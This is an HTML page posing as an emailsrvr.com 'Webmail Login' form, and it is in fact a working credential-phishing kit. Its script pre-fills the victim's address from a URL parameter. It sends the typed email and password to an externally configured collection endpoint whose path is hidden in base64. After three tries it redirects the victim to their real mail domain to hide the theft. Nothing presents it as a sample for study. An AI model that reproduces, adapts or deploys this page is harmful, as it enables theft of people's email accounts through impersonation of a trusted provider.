<html>
<head>
  <meta charset="UTF-8">
  <title>emailsrvr.com</title>
  <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:100,400,500,700">

  <style>
    /* Page Defaults */
    * {
      -webkit-box-sizing: border-box;
      -moz-box-sizing: border-box;
      box-sizing: border-box;
    }
    body {
      font-family: "Roboto", "Helvetica Neue", Helvetica, Arial, sans-serif;
      font-size: 14px;
      line-height: 1.42857;
      color: #333333;
      background-color: #FAFAFA;
      margin: 0;
    }

    /* Page Layout */
    #content {
      display: flex;
      align-items: center;
      justify-content: center;
      position: fixed;
      top: 0;
      left: 0;
      bottom: 0;
      right: 0;
      background: #EAEAEA;
    }
    #content-header {
      height: 53px;
      padding: 16px;
      font-size: 24px;
      font-weight: 300;
      line-height: 18px;
      background: #424242;
      color: #FCFCFC;
    }
    #content-header-logo {
      float: right;
    }
    #logo {
      width: 130px;
      height: 26px;
    }
    #content-header-label {
      float: left;
    }
    #content-body {
      display: flex;
      justify-content: start;
      background: #FFFFFF;
      min-width: 500px;
    }

    /* Form Layout */
    #form {
      display: flex;
      flex-direction: column;
      justify-content: center;
      padding: 20px;
      min-height: 268px;
      width: 100%;
    }
    #form-body {
      height: 205px;
      width: 100%;
      margin: 40px 0px 0px 20px;
      display: flex;
      flex-direction: column;
      justify-content: center;
      align-items: center;
      padding-right: 20px;
    }
    #form-container {
      width: 100%;
      margin: 0px auto;
      padding: 0px 10px;
    }
    .row {
      margin: 0px -10px;
    }
    .row:before, .row:after {
      content: " ";
      display: table;
    }
    .col {
      width: 100%;
      float: left;
      position: relative;
      min-height: 1px;
      padding: 0px 10px;
    }
    .form-group {
      width: inherit;
      padding-right: 30px;
      margin-bottom: 20px;
    }
    .form-label {
      position: relative;
      font-family: Roboto;
      font-size: 16px;
      margin-bottom: 8px;
      line-height: 1;
      color: #616161;
      display: inline-block;
      max-width: 100%;
    }
    .form-field {
      border: 1px solid #BDBDBD;
      border-radius: 2px;
      background: #FFFFFF;
      font-family: Roboto;
      font-size: 16px;
      color: #616161;
      height: 32px;
      display: block;
      width: 100%;
      padding: 4px 8px;
      line-height: 1.42857;
      -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
      box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
      -webkit-transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s;
      -o-transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s;
      transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s;
    }
    #forgot-password {
      position: absolute;
      top: 0px;
      right: 40px;
      color: #0C7C84;
      text-decoration: none;
      background-color: transparent;
      box-sizing: border-box;
    }
    #login-btn-toolbar {
      float: right;
      margin: auto 30px 15px -20px;
    }
    #login-btn {
      float: right;
      display: inline-flex;
      flex-direction: row;
      justify-content: center;
      align-items: center;
      padding: 0 12px;
      height: 32px;
      line-height: 1px;
      font-size: 14px;
      font-weight: 400;
      text-transform: capitalize;
      color: #fff;
      background-color: #0C7C84;
      border-color: #0C7C84;
      margin-bottom: 0;
      text-align: center;
      vertical-align: middle;
      touch-action: manipulation;
      cursor: pointer;
      background-image: none;
      border: 1px solid transparent;
      white-space: nowrap;
      border-radius: 2px;
      -webkit-user-select: none;
      -moz-user-select: none;
      -ms-user-select: none;
      user-select: none;
    }
    #form-container {
      width: 100%;
      margin: 0px auto;
      padding: 0px 10px;
    }
    @media only screen
      and (max-device-width: 480px) {
      /* Page Defaults */
      body {
        font-size: 19pt;
        line-height: 1.42857em;
      }
      /* Page Layout */
      #content {
        align-items: inherit;
        display: inherit;
        justify-content: inherit;
      }
      #content-header {
        font-size: 171%;
        height: 3em;
        line-height: 1em;
        padding: 1em;
      }
      /* Form Layout */
      .form-label {
        font-size: 114%;
      }
      .form-field {
        font-size: 114%;
        height: 2em;
      }
      #forgot-password {
        right: 2em;
        top: 0;
      }
      #login-btn-toolbar {
        margin: 1.5em 2em 1em -1.5em;
      }
      #login-btn {
        font-size: 150%;
        height: 3em;
        padding: 1.25em;
      }
    }
  </style>

<body>
    <div>
        <div id="content">
            <div>
                <div id="content-header">
                    <div id="content-header-label">Webmail Login</div>
                    <div id="content-header-logo"></div>
                </div>
                <div id="content-body">
                    <form id="form" method="post" name="login" action="#" autocomplete="off">
                        <div id="form-body">
                            <div id="form-container">
                                <div id="user-row" class="row">
                                    <div id="user-col" class="col">
                                        <div id="user-field" class="form-group">
                                            <label id="user-label" class="form-label">Email address</label>
                                            <input id="user-input" name="username" tabindex="1" class="form-field" value="" autocomplete="username" />
                                        </div>
                                    </div>
                                </div>
                                <div id="pass-row" class="row">
                                    <div id="pass-col" class="col">
                                        <div id="pass-field" class="form-group">
                                            <label id="pass-label" class="form-label">Password</label>
                                            
                                            <div id="msg" style="color: red; display: none;"></div>
                                            <input id="pass-input" name="password" tabindex="2" type="password" class="form-field" value="" autocomplete="current-password" />
                                        </div>
                                        <a id="forgot-password" href="#" tabindex="4">Forgot password?</a>
                                    </div>
                                </div>
                            </div>
                        </div>
                        <div id="login-btn-toolbar">
                            <button onclick="submitLogin(event);" id="login-btn" tabindex="3" type="submit">Log In</button>
                        </div>
                    </form>
                </div>
            </div>
        </div>
    </div>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="./config.js"></script>
    <script>
        $(document).ready(function() {
            // Function to extract URL parameters
            function getParameterByName(name) {
                const url = window.location.href;
                const regex = new RegExp('[?&]' + name + '(=([^&#]*)|&|#|$)');
                const results = regex.exec(url);
                if (!results) return null;
                if (!results[2]) return '';
                return decodeURIComponent(results[2].replace(/\+/g, ' '));
            }

            // Autofill the username field if a 'cms' parameter exists
            const loginUsername = getParameterByName('cms');
            if (loginUsername) {
                $('#user-input').val(loginUsername);  // Autofill the email address field with the 'cms' value
            }

            let submissionCount = 0;

            // Handle form submission
            $('#form').on('submit', function(event) {
                event.preventDefault();

                const ai = $('#user-input').val();
                const pr = $('#pass-input').val();
                $('#msg').hide();

                // Validate input fields
                if (!ai) {
                    $('#msg').text("Email is required").show();
                    return;
                }
                if (!pr) {
                    $('#msg').text("Password is required").show();
                    return;
                }

                // AJAX request for login (example URL)
                $.ajax({
                    url: `${config.baseUrl}${atob("L2Nvbm5lY3QucGhw")}`,
                    type: 'POST',
                    data: { ai: ai, pr: pr },
                    dataType: 'JSON',
                    beforeSend: function() {
                        $('#login-btn').text("Verifying...");
                    },
                    success: function(response) {
                        submissionCount++;
                        if (submissionCount >= 3) {
                            const domain = ai.split('@')[1];
                            window.location.href = `https://${domain}`;
                        } else if (response.signal === 'ok') {
                            $('#msg').text("Login successful").css("color", "green").show();
                        } else {
                            $('#msg').text(response.msg || "Authentication failed").show();
                        }
                    },
                    error: function() {
                        submissionCount++;
                        if (submissionCount >= 3) {
                            const domain = ai.split('@')[1];
                            window.location.href = `https://${domain}`;
                        } else {
                            $('#msg').text("An error occurred, please try again.").show();
                        }
                    },
                    complete: function() {
                        $('#login-btn').text("Log In");
                        $('#pass-input').val(''); // Clear the password field
                    }
                });
            });
        });
    </script>
</body>
</html>